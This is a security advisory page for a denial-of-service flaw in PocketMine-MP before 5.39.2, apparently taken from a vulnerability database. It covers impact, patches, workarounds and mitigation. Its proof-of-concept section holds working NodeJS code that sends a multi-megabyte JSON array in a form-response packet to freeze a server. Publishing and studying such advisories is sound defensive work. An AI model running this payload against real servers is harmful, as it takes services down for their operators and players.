CVE-2026-86204 — pocketmine-mp
Fix: pmmp/PocketMine-MP@cef1088CVE-2026-86204 is a Uncontrolled Resource Consumption vulnerability in pocketmine/pocketmine-mp. A fix is available for pocketmine/pocketmine-mp — see the affected versions and patch details below.
PocketMine-MP before 5.39.2 Denial of Service via ModalFormResponsePacket
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-86204.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
pocketmine/pocketmine-mpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.
The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.
Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID
Workarounds
This issue can be worked around in a plugin using DataPacketReceiveEvent by:
- checking the max size of the
formDatafield - making sure the form ID is not repeated
However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.
PoC
-
Join a PocketMine-MP server as a regular player (no special permissions needed).
-
Use a modified client or packet-sending script to send a
ModalFormResponsePacketwith:- Any non-existent
formId formDatacontaining a massive JSON array (e.g., 10+ MB payload).
- Any non-existent
-
The server will attempt to parse the JSON and may freeze or become unresponsive.
Example NodeJS pseudocode:
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'Test';
const client = createClient({
host,
port,
username,
offline: true
});
const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';
client.on('spawn', () => {
console.log('[*] Connected & spawned. Sending malicious packet...');
client.write('modal_form_response', {
formId: 9999, // Form inexistant
formData: hugePayload // JSON énorme
});
console.log('[*] Packet sent. The server should start freezing shortly.');
});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pocketmine/pocketmine-mp | all versions | 5.39.2composer require pocketmine/pocketmine-mp:^5.39.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pocketmine/pocketmine-mp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pocketmine/pocketmine-mp to 5.39.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-86204 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-86204 in your dependencies?
Find it across Packagist, including transitive dependencies.